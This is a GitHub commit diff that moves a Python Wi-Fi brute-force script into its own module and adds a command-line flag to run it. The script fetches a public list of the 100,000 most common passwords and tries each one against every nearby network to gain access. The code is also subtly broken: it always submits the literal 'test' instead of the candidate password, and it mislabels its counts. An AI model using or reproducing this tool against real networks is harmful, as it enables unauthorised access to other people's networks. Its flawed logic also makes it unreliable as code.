-
Notifications
You must be signed in to change notification settings - Fork 42
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
rename project and prepare it for next stuffs
- Loading branch information
Showing
4 changed files
with
66 additions
and
42 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,48 +1,19 @@ | ||
#!/usr/bin/env python | ||
# -*- coding: utf-8 -*- | ||
import sys | ||
import urllib2 | ||
|
||
from wifi import Cell, Scheme, exceptions | ||
|
||
# need `sudo` to show all networks | ||
if __name__ == '__main__': | ||
|
||
import argparse | ||
|
||
import wifi_bruteforce | ||
|
||
def main(): | ||
|
||
# download most used passwords on github.com and build a dict | ||
print("Fetch top 100K most used passwords on Github...") | ||
url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/10_million_password_list_top_100000.txt" | ||
response = urllib2.urlopen( url ) | ||
txt = response.read() | ||
passwords = txt.splitlines() | ||
parser = argparse.ArgumentParser() | ||
parser.add_argument("-w", "--wifi_brute_force", action="store_true", help="Try to brute force all wifi detected by this device") | ||
args = parser.parse_args() | ||
|
||
# get networks and print stats | ||
networks = Cell.all('wlan0') | ||
nb_loops = len(passwords)*len(networks) | ||
print("{} networks founded. The programs will loop {} times!!".format( | ||
len(passwords) , nb_loops )) | ||
if args.wifi_brute_force: | ||
wifi_bruteforce.start() | ||
|
||
# begin to loop | ||
nb_test = 0 | ||
|
||
for password in passwords: | ||
|
||
for cell in networks: | ||
|
||
try: | ||
scheme = Scheme.for_cell('wlan0', 'home', cell, 'test') | ||
scheme.activate() | ||
print("Connect to {} with `{}` passkey works!!".format(cell, 'test')) | ||
sys.exit(0) | ||
except exceptions.ConnectionError as e: | ||
pass | ||
finally: | ||
nb_test += 1 | ||
|
||
sys.stdout.write('\r{} / {}'.format( nb_test, nb_loops )) | ||
sys.stdout.flush() | ||
|
||
print("you are not lucky :'(") | ||
|
||
if __name__ == '__main__': | ||
main() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,48 @@ | ||
#!/usr/bin/env python | ||
# -*- coding: utf-8 -*- | ||
import sys | ||
import urllib2 | ||
|
||
from wifi import Cell, Scheme, exceptions | ||
|
||
# need `sudo` to show all networks | ||
def start(): | ||
|
||
|
||
|
||
|
||
# download most used passwords on github.com and build a dict | ||
print("Fetch top 100K most used passwords on Github...") | ||
url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/10_million_password_list_top_100000.txt" | ||
response = urllib2.urlopen( url ) | ||
txt = response.read() | ||
passwords = txt.splitlines() | ||
|
||
# get networks and print stats | ||
networks = Cell.all('wlan0') | ||
nb_loops = len(passwords)*len(networks) | ||
print("{} networks founded. The programs will loop {} times!!".format( | ||
len(passwords) , nb_loops )) | ||
|
||
# begin to loop | ||
nb_test = 0 | ||
|
||
for password in passwords: | ||
|
||
for cell in networks: | ||
|
||
try: | ||
scheme = Scheme.for_cell('wlan0', 'home', cell, 'test') | ||
scheme.activate() | ||
print("Connect to {} with `{}` passkey works!!".format(cell, 'test')) | ||
sys.exit(0) | ||
except exceptions.ConnectionError as e: | ||
pass | ||
finally: | ||
nb_test += 1 | ||
|
||
sys.stdout.write('\r{} / {}'.format( nb_test, nb_loops )) | ||
sys.stdout.flush() | ||
|
||
print("you are not lucky :'(") | ||
|
Binary file not shown.